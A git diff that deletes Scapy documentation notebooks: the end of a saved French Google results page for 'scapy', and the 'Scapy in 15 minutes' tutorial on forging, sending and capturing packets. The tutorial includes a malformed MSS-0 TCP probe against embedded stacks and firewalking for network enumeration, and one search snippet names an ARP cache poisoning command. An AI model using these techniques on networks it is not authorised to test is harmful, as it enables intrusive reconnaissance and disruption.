- "library.</span><br></div></div><div class=\"g\"><span style=\"float:left\"><span class=\"mime\">[PDF]</span>&nbsp;</span><h3 class=\"r\"><a href=\"/url?q=https://repo.zenk-security.com/Protocoles_reseaux_securisation/Les%2520Fourberies%2520de%2520Scapy.pdf&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFghCMAY&amp;usg=AFQjCNGvyyIgBp3Yf9bDRHx4ytFleXOi5w\">Les Fourberies de <b>Scapy</b> - Zenk - Security - Repository</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>https://repo.zenk-security.com/.../Les%20Fourberies%20de%20<b>Scapy</b>.pdf</cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IQzAG\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:1s5MetOx54YJ:https://repo.zenk-security.com/Protocoles_reseaux_securisation/Les%252520Fourberies%252520de%252520Scapy.pdf%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAhFMAY&amp;usg=AFQjCNHM9Qr918qAuwPiolGK1lPkSyKJyg\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:https://repo.zenk-security.com/Protocoles_reseaux_securisation/Les%2520Fourberies%2520de%2520Scapy.pdf+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwhGMAY\">Pages similaires</a></li></ul></div></div></div><span class=\"st\">Python &amp; <b>Scapy</b> : cration de module ou de programme . . . . . . . . . . . . . . . . . . 12. <br>\n",
- "3.1. Python &amp; <b>Scapy</b> .... 16 change de paquet de Wireshark vers <b>Scapy</b> .</span><br></div></div><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=http://www.chambeyron.fr/index.php/systeme-reseaux/scapy/8-scapy-les-bases&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFghIMAc&amp;usg=AFQjCNE3evvKKx60Iee3ZBiIOTjDlDzKxw\">Tutorial <b>Scapy</b>, introduction - Le blog de Thierry</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>www.chambeyron.fr/index.php/systeme.../<b>scapy</b>/8-<b>scapy</b>-les-bases</cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0ISTAH\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:MgSbFi6VkXEJ:http://www.chambeyron.fr/index.php/systeme-reseaux/scapy/8-scapy-les-bases%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAhLMAc&amp;usg=AFQjCNG4PtbkImAAhScSjauv2Yz6WYyh4g\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:www.chambeyron.fr/index.php/systeme-reseaux/scapy/8-scapy-les-bases+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwhMMAc\">Pages similaires</a></li></ul></div></div></div><span class=\"st\">19 sept. 2014 <b>...</b> Pour connaitre la liste des commandes <b>scapy</b> &gt;&gt;&gt; lsc() arpcachepoison : Poison <br>\n",
- "target&#39;s cache with (your MAC,victim&#39;s IP) couple arping : Send&nbsp;...</span><br></div></div><div class=\"g\"><span style=\"float:left\"><span class=\"mime\">[PDF]</span>&nbsp;</span><h3 class=\"r\"><a href=\"/url?q=http://repository.root-me.org/R%25C3%25A9seau/FR%2520-%2520Scapy%2520en%2520pratique.pdf&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFghPMAg&amp;usg=AFQjCNFqXSQxPzYTmmJJLOXP7WO4d2tVHQ\"><b>Scapy</b> en pratique - Repository Root Me</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>repository.root-me.org/.../FR%20-%20<b>Scapy</b>%20en%20pratique.pdf</cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IUDAI\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:wLJc7aETkU0J:http://repository.root-me.org/R%2525C3%2525A9seau/FR%252520-%252520Scapy%252520en%252520pratique.pdf%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAhSMAg&amp;usg=AFQjCNHKUYiTHTN6P3CoJBK8Cwy22rSsPg\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:repository.root-me.org/R%25C3%25A9seau/FR%2520-%2520Scapy%2520en%2520pratique.pdf+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwhTMAg\">Pages similaires</a></li></ul></div></div></div><span class=\"st\">17 mai 2008 <b>...</b> <b>Scapy</b> en pratique. PyCON FR &#8211; 17 Mai 2008 - Renaud Lifchitz. 3. Qu&#39;est-ce <br>\n",
- "que <b>Scapy</b> ? Prsentation gnrale. &#9675;. Interprteur Python&nbsp;...</span><br></div></div><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=http://blog.madpowah.org/articles/scapy/index.html&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFghWMAk&amp;usg=AFQjCNGKKokeKOYEfr8s0KWmv3qNlOYEww\">[How To]Utilisation de <b>Scapy</b> | cloud&#39;s Blog</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>blog.madpowah.org/articles/<b>scapy</b>/index.html</cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IVzAJ\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:CAMle-GMFucJ:http://blog.madpowah.org/articles/scapy/index.html%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAhZMAk&amp;usg=AFQjCNGndKUe71tN35JPcUMSrK6-y8_5QQ\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:blog.madpowah.org/articles/scapy/index.html+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwhaMAk\">Pages similaires</a></li></ul></div></div></div><span class=\"st\">18 sept. 2008 <b>...</b> <b>Scapy</b> est un logiciel dvelopp en python qui permet de forger des paquets, de <br>\n",
- "sniffer et de faire bien d&#39;autres actions bien utiles pour faire du&nbsp;...</span><br></div></div></ol></div></div></div><div style=\"clear:both;margin-bottom:17px;overflow:hidden\"><div style=\"font-size:16px;padding:0 8px 1px\">Recherches associes \"<b>scapy</b>\"</div><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td valign=\"top\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+windows&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIXigA\">scapy <b>windows</b></a></p></td><td valign=\"top\" style=\"padding-left:10px\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+github&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIXygB\">scapy <b>github</b></a></p></td></tr><tr><td valign=\"top\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+tutorial&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIYCgC\">scapy <b>tutorial</b></a></p></td><td valign=\"top\" style=\"padding-left:10px\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+python+3&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIYSgD\">scapy <b>python 3</b></a></p></td></tr><tr><td valign=\"top\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+sniff&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIYigE\">scapy <b>sniff</b></a></p></td><td valign=\"top\" style=\"padding-left:10px\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+pcap&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIYygF\">scapy <b>pcap</b></a></p></td></tr><tr><td valign=\"top\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+documentation&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIZCgG\">scapy <b>documentation</b></a></p></td><td valign=\"top\" style=\"padding-left:10px\"><p class=\"_Bmc\" style=\"margin:3px 8px\"><a href=\"/search?ie=UTF-8&amp;q=scapy+pdf&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIZSgH\">scapy <b>pdf</b></a></p></td></tr></table></div></div><div id=\"foot\"><table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" id=\"nav\"><tr valign=\"top\"><td align=\"left\" class=\"b\"><span class=\"csb\" style=\"background-position:-24px 0;width:28px\"></span><b></b></td><td><span class=\"csb\" style=\"background-position:-53px 0;width:20px\"></span><b>1</b></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=10&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>2</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=20&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>3</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=30&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>4</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=40&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>5</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=50&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>6</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=60&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>7</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=70&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>8</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=80&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>9</a></td><td><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=90&amp;sa=N\"><span class=\"csb\" style=\"background-position:-74px 0;width:20px\"></span>10</a></td><td class=\"b\" style=\"text-align:left\"><a class=\"fl\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=10&amp;sa=N\" style=\"text-align:left\"><span class=\"csb\" style=\"background-position:-96px 0;width:71px\"></span><span style=\"display:block;margin-left:53px\">Suivant</span></a></td></tr></table><p class=\"_cD\" id=\"bfl\" style=\"margin:19px 0 0;text-align:center\"><a href=\"/advanced_search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns\">Recherche avance</a><a href=\"/support/websearch/bin/answer.py?answer=134479&amp;hl=fr\">Aide sur la recherche</a> <a href=\"/tools/feedback/survey/html?productId=196&amp;query=scapy&amp;hl=fr\">Envoyer des commentaires</a></p><div class=\"_cD\" id=\"fll\" style=\"margin:19px auto 19px auto;text-align:center\"><a href=\"/\">Accueil&nbsp;Google</a> <a href=\"/intl/fr/ads\">Publicit</a> <a href=\"/intl/fr/policies/privacy/\">Confidentialit</a> <a href=\"/intl/fr/policies/terms/\">Conditions</a> <a href=\"/intl/fr/about.html\"> propos de Google</a></div></div></td><td id=\"rhs_block\" valign=\"top\"></td></tr></tbody></table><script type=\"text/javascript\">(function(){var eventid='kzFQWN-hEcKya4KMgVA';google.kEI = eventid;})();</script><script src=\"/xjs/_/js/k=xjs.hp.en_US.WN3XpSz-BG8.O/m=sb_he,d/rt=j/d=1/t=zcms/rs=ACT90oGvdHa7TL2W_IQX1s5BPxYIHeUvhQ\"></script><script type=\"text/javascript\">google.ac&&google.ac.c({\"agen\":true,\"cgen\":true,\"client\":\"heirloom-serp\",\"dh\":true,\"dhqt\":true,\"ds\":\"\",\"fl\":true,\"host\":\"google.fr\",\"isbh\":28,\"jam\":0,\"jsonp\":true,\"lm\":true,\"msgs\":{\"cibl\":\"Effacer la recherche\",\"dym\":\"Essayez avec cette orthographe :\",\"lcky\":\"J\\u0026#39;ai de la chance\",\"lml\":\"En savoir plus\",\"oskt\":\"Outils de saisie\",\"psrc\":\"Cette suggestion a bien t supprime de votre \\u003Ca href=\\\"/history\\\"\\u003Ehistorique Web\\u003C/a\\u003E.\",\"psrl\":\"Supprimer\",\"sbit\":\"Recherche par image\",\"srch\":\"Recherche Google\"},\"nds\":true,\"ovr\":{},\"pq\":\"scapy\",\"refpd\":true,\"rfs\":[\"scapy windows\",\"scapy tutorial\",\"scapy sniff\",\"scapy documentation\",\"scapy github\",\"scapy python 3\",\"scapy pcap\",\"scapy pdf\"],\"scd\":10,\"sce\":5,\"stok\":\"v9hn9ENPV2Cq1VDAu6ud56TzkyQ\"})</script><script>(function(){window.google.cdo={height:0,width:0};(function(){var a=window.innerWidth,b=window.innerHeight;if(!a||!b)var c=window.document,d=\"CSS1Compat\"==c.compatMode?c.documentElement:c.body,a=d.clientWidth,b=d.clientHeight;a&&b&&(a!=google.cdo.width||b!=google.cdo.height)&&google.log(\"\",\"\",\"/client_204?&atyp=i&biw=\"+a+\"&bih=\"+b+\"&ei=\"+google.kEI);}).call(this);})();</script></body></html>"
- ],
- "metadata": {},
- "output_type": "pyout",
- "prompt_number": 141,
- "text": [
- "<IPython.core.display.HTML at 0x7f26f59e9e10>"
- ]
- }
- ],
- "prompt_number": 141
- }
- ],
- "metadata": {}
- }
- ]
-} \ No newline at end of file
diff --git a/doc/notebooks/Scapy in 15 minutes.ipynb b/doc/notebooks/Scapy in 15 minutes.ipynb
deleted file mode 100644
index 49aed2a9..00000000
--- a/doc/notebooks/Scapy in 15 minutes.ipynb
+++ /dev/null
@@ -1,1372 +0,0 @@
-{
- "cells": [
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "# Scapy in 15 minutes (or longer)"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "##### Guillaume Valadon & Pierre Lalet"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "[Scapy](http://www.secdev.org/projects/scapy) is a powerful Python-based interactive packet manipulation program and library. It can be used to forge or decode packets for a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more.\n",
- "\n",
- "This iPython notebook provides a short tour of the main Scapy features. It assumes that you are familiar with networking terminology. All examples where built using the development version from [https://github.com/secdev/scapy](https://github.com/secdev/scapy), and tested on Linux. They should work as well on OS X, and other BSD.\n",
- "\n",
- "The current documentation is available on [http://scapy.readthedocs.io/](http://scapy.readthedocs.io/) !"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Scapy eases network packets manipulation, and allows you to forge complicated packets to perform advanced tests. As a teaser, let's have a look a two examples that are difficult to express without Scapy:\n",
- "\n",
- "1_ Sending a TCP segment with maximum segment size set to 0 to a specific port is an interesting test to perform against embedded TCP stacks. It can be achieved with the following one-liner:"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 30,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "\n",
- "Sent 1 packets.\n"
- ]
- }
- ],
- "source": [
- "send(IP(dst=\"1.2.3.4\")/TCP(dport=502, options=[(\"MSS\", 0)]))"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "2_ Adanced firewalking using IP options is sometimes useful to perform network enumeration. Here is more complicate one-liner:"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 31,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- " - IPOption_RR IPOption_Traceroute \n",
- "1 192.168.42.1 time-exceeded 192.168.46.1 time-exceeded 192.168.46.1 time-exceeded \n",
- "2 172.42.0.1 time-exceeded 172.42.0.1 time-exceeded 172.42.0.1 time-exceeded \n",
- "3 42.10.69.251 time-exceeded 42.10.69.251 time-exceeded 42.10.69.251 time-exceeded \n",
- "4 10.123.156.86 time-exceeded 10.123.156.86 time-exceeded - \n",
- "5 69.156.98.177 time-exceeded 69.156.98.177 time-exceeded - \n",
- "6 69.156.137.74 time-exceeded 69.156.137.74 time-exceeded - \n",
- "7 209.85.172.150 time-exceeded - - \n",
- "8 216.239.57.203 time-exceeded - - \n"
- ]
- }
- ],
- "source": [
- "ans = sr([IP(dst=\"8.8.8.8\", ttl=(1, 8), options=IPOption_RR())/ICMP(seq=RandShort()), IP(dst=\"8.8.8.8\", ttl=(1, 8), options=IPOption_Traceroute())/ICMP(seq=RandShort()), IP(dst=\"8.8.8.8\", ttl=(1, 8))/ICMP(seq=RandShort())], verbose=False, timeout=3)[0]\n",
- "ans.make_table(lambda (x, y): (\", \".join(z.summary() for z in x[IP].options) or '-', x[IP].ttl, y.sprintf(\"%IP.src% %ICMP.type%\")))"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "#### Now that, we've got your attention, let's start the tutorial !"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Quick setup"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "The easiest way to try Scapy is to clone the github repository, then launch the `run_scapy` script as root. The following examples can be pasted on the Scapy prompt. There is no need to install any external Python modules."
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "```shell\n",
- "git clone https://github.com/secdev/scapy --depth=1\n",
- "sudo ./run_scapy\n",
- "Welcome to Scapy (2.4.0)\n",
- ">>>\n",
- "```"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Note: iPython users must import scapy as follows"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 13,
- "metadata": {},
- "outputs": [],
- "source": [
- "from scapy.all import *"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## First steps"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "With Scapy, each network layer is a Python class.\n",
- "\n",
- "The `'/'` operator is used to bind layers together. Let's put a TCP segment on top of IP and assign it to the `packet` variable, then stack it on top of Ethernet. "
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 2,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "<Ether type=IPv4 |<IP frag=0 proto=tcp |<TCP |>>>"
- ]
- },
- "execution_count": 2,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "packet = IP()/TCP()\n",
- "Ether()/packet"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "This last output displays the packet summary. Here, Scapy automatically filled the Ethernet type as well as the IP protocol field.\n",
- "\n",
- "Protocol fields can be listed using the `ls()` function:"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {},
- "outputs": [],
- "source": [
- " >>> ls(IP, verbose=True)\n",
- " version : BitField (4 bits) = (4)\n",
- " ihl : BitField (4 bits) = (None)\n",
- " tos : XByteField = (0)\n",
- " len : ShortField = (None)\n",
- " id : ShortField = (1)\n",
- " flags : FlagsField (3 bits) = (0)\n",
- " MF, DF, evil\n",
- " frag : BitField (13 bits) = (0)\n",
- " ttl : ByteField = (64)\n",
- " proto : ByteEnumField = (0)\n",
- " chksum : XShortField = (None)\n",
- " src : SourceIPField (Emph) = (None)\n",
- " dst : DestIPField (Emph) = (None)\n",
- " options : PacketListField = ([])"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Let's create a new packet to a specific IP destination. With Scapy, each protocol field can be specified. As shown in the `ls()` output, the interesting field is `dst`.\n",
- "\n",
- "Scapy packets are objects with some useful methods, such as `summary()`."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 3,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "\"Ether / IP / TCP 172.20.10.2:ftp_data > Net('www.secdev.org'):http S\""
- ]
- },
- "execution_count": 3,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "p = Ether()/IP(dst=\"www.secdev.org\")/TCP()\n",
- "p.summary()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "There are not many differences with the previous example. However, Scapy used the specific destination to perform some magic tricks !\n",
- "\n",
- "Using internal mechanisms (such as DNS resolution, routing table and ARP resolution), Scapy has automatically set fields necessary to send the packet. This fields can of course be accessed and displayed."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 10,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "3a:71:de:90:0b:64\n",
- "172.20.10.2\n",
- "b8:e8:56:45:8c:e6 > 3a:71:de:90:0b:64\n",
- "172.20.10.2 > Net('www.secdev.org')\n"
- ]
- }
- ],
- "source": [
- "print p.dst # first layer that has an src field, here Ether\n",
- "print p[IP].src # explicitly access the src field of the IP layer\n",
- "\n",
- "# sprintf() is a useful method to display fields\n",
- "print p.sprintf(\"%Ether.src% > %Ether.dst%\\n%IP.src% > %IP.dst%\")"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Scapy uses default values that work most of the time. For example, `TCP()` is a SYN segment to port 80."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 9,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "S http\n"
- ]
- }
- ],
- "source": [
- "print p.sprintf(\"%TCP.flags% %TCP.dport%\")"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Moreover, Scapy has implicit packets. For example, they are useful to make the TTL field value vary from 1 to 5 to mimic traceroute."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 11,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "[<IP frag=0 ttl=1 proto=icmp |<ICMP |>>,\n",
- " <IP frag=0 ttl=2 proto=icmp |<ICMP |>>,\n",
- " <IP frag=0 ttl=3 proto=icmp |<ICMP |>>,\n",
- " <IP frag=0 ttl=4 proto=icmp |<ICMP |>>,\n",
- " <IP frag=0 ttl=5 proto=icmp |<ICMP |>>]"
- ]
- },
- "execution_count": 11,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "[p for p in IP(ttl=(1,5))/ICMP()]"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Sending and receiving"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Currently, you know how to build packets with Scapy. The next step is to send them over the network !\n",
- "\n",
- "The `sr1()` function sends a packet and return the corresponding answer. `srp1()` does the same for layer two packets, i.e. Ethernet. If you are only interested in sending packets `send()` is your friend.\n",
- "\n",
- "As an example, we can use the DNS protocol to get www.example.com IPv4 address."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 23,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "\n",
- "Received 19 packets, got 1 answers, remaining 0 packets\n",
- "Begin emission:\n",
- "Finished to send 1 packets.\n"
- ]
- },
- {
- "data": {
- "text/plain": [
- "<DNSRR rrname='www.example.com.' type=A rclass=IN ttl=10011 rdata='93.184.216.34' |>"
- ]
- },
- "execution_count": 23,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "sr1(IP(dst=\"8.8.8.8\")/UDP()/DNS(qd=DNSQR()))\n",
- "p[DNS].an"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Another alternative is the `sr()` function. Like `srp1()`, the `sr1()` function can be used for layer 2 packets."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 47,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "\n",
- "Received 7 packets, got 6 answers, remaining 0 packets\n",
- "Begin emission:\n",
- "Finished to send 6 packets.\n"
- ]
- },
- {
- "data": {
- "text/plain": [
- "(<Results: TCP:0 UDP:0 ICMP:6 Other:0>,\n",
- " <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)"
- ]
- },
- "execution_count": 47,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "r, u = srp(Ether()/IP(dst=\"8.8.8.8\", ttl=(5,10))/UDP()/DNS(rd=1, qd=DNSQR(qname=\"www.example.com\")))\n",
- "r, u"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "`sr()` sent a list of packets, and returns two variables, here `r` and `u`, where:\n",
- "1. `r` is a list of results (i.e tuples of the packet sent and its answer)\n",
- "2. `u` is a list of unanswered packets"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 48,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "Ether / IP / UDP / DNS Qry \"www.example.com\" \n",
- "Ether / IP / ICMP / IPerror / UDPerror / DNS Qry \"www.example.com.\" \n"
- ]
- },
- {
- "data": {
- "text/plain": [
- "<ICMP type=time-exceeded code=ttl-zero-during-transit chksum=0x50d6 reserved=0 length=0 unused=None |<IPerror version=4L ihl=5L tos=0x0 len=61 id=1 flags= frag=0L ttl=1 proto=udp chksum=0xf389 src=172.20.10.2 dst=8.8.8.8 options=[] |<UDPerror sport=domain dport=domain len=41 chksum=0x593a |<DNS id=0 qr=0L opcode=QUERY aa=0L tc=0L rd=1L ra=0L z=0L ad=0L cd=0L rcode=ok qdcount=1 ancount=0 nscount=0 arcount=0 qd=<DNSQR qname='www.example.com.' qtype=A qclass=IN |> an=None ns=None ar=None |>>>>"
- ]
- },
- "execution_count": 48,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "# Access the first tuple\n",
- "print r[0][0].summary() # the packet sent\n",
- "print r[0][1].summary() # the answer received\n",
- "\n",
- "# Access the ICMP layer. Scapy received a time-exceeded error message\n",
- "r[0][1][ICMP]"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "With Scapy, list of packets, such as `r` or `u`, can be easily written to, or read from PCAP files."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 50,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
